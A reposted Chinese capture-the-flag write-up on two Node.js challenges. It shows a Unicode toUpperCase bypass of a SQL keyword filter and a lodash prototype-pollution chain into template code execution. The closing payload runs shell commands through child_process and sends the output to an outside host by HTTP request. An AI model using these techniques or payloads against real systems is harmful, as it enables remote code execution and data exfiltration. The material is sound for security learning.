Code-Breaking JS Writeup

栏目: JavaScript · 发布时间: 1年前

来源: blog.l0ca1.xyz

内容简介:题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题对

本文转载自:https://blog.l0ca1.xyz/Code-Breaking,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有。

Code-Breaking

题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题

easy - nodechr

safeKeyword 过滤函数:

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

union|select|;|-- 进行了检测

漏洞点:

let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

函数 toUpperCase 是存在一些特殊情况的:

"ı".toUpperCase()
"I"
"ſ".toUpperCase()
"S"

即可绕过过滤函数。

hard - thejs

代码比较少,使用 lodash 实现了一个简单的 ejs 模版引擎,在请求的时候渲染。猜测是 merge 有问题,查看版本,然后在 github 上搜索: Code-Breaking JS Writeup

发现一个有意思的。 增加一个 safeGet 函数:

function safeGet(object, key) {
    return key == '__proto__'
      ? undefined
      : object[key];
  }

增加了判断原型属性的函数,没有的话可以进行原型污染。 开始看到:

res.render('index', {
        language: data.language, 
        category: data.category
    })

想着原型污染有点不太可能,后来测试发现, merge 直接将注入的原型属性的值写到了最底层的 Object ,这样每创建一个对象,注入的对象都会在原型属性当中。 接下来寻找可以利用的点,查看 template 函数,发现 敏感的点

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

继续找 可控点

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

其中 option 为我们在模版引擎中,渲染的值。这里读取其中的 sourceURL 属性的值,我们就可以通过原型污染,添加一个 sourceURL 属性并控制值,在拼接到 Function 中达到执行 JS 的目的。 模版:

new Function("","//# sourceURL='xxx'\r\n[CODE]\r\n")();

这里有个小 TIP ?: Code-Breaking JS Writeup 没法直接在 Function 中引入 require 。查了一下:

var require = global.require || global.process.mainModule.constructor._load

所以原型污染 + 执行任意 JS。 payload:

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://l0ca1.com/${result}`);req.end();\r\n"}}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

关注码农网公众号

关注我们,获取更多IT资讯^_^


为你推荐:

相关软件推荐:

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Beautiful Code

Beautiful Code

Greg Wilson、Andy Oram / O'Reilly Media / 2007-7-6 / GBP 35.99

In this unique work, leading computer scientists discuss how they found unusual, carefully designed solutions to difficult problems. This book lets the reader look over the shoulder of major coding an......一起来看看 《Beautiful Code》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具